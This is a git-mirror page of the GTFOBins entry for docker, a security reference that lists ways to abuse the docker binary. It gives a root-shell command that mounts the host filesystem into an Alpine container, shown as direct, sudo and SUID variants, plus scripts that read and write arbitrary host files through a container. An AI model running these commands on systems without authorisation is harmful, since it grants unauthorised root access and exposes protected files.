1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 15:59:17 +01:00
GTFOBins.github.io/_gtfobins/docker.md

33 lines
1.2 KiB
Markdown
Raw Normal View History

2018-08-17 17:16:09 +02:00
---
description: |
This requires the user to be privileged enough to run docker, i.e. being in the `docker` group or being `root`.
Any other Docker Linux image should work, e.g., `debian`.
2018-08-17 17:16:09 +02:00
functions:
shell:
- description: The resulting is a root shell.
code: docker run -v /:/mnt --rm -it alpine chroot /mnt sh
file-write:
- description: Write a file by copying it to a temporary container and back to the target destination on the host.
code: |
CONTAINER_ID="$(docker run -d alpine)" # or existing
TF=$(mktemp)
echo "DATA" > $TF
docker cp $TF $CONTAINER_ID:$TF
docker cp $CONTAINER_ID:$TF file_to_write
file-read:
- description: Read a file by copying it to a temporary container and back to a new location on the host.
code: |
CONTAINER_ID="$(docker run -d alpine)" # or existing
TF=$(mktemp)
docker cp file_to_read $CONTAINER_ID:$TF
docker cp $CONTAINER_ID:$TF $TF
cat $TF
2018-10-05 19:55:38 +02:00
sudo:
- description: The resulting is a root shell.
code: sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh
2018-10-05 19:55:38 +02:00
suid:
- description: The resulting is a root shell.
code: ./docker run -v /:/mnt --rm -it alpine chroot /mnt sh
2018-08-17 17:16:09 +02:00
---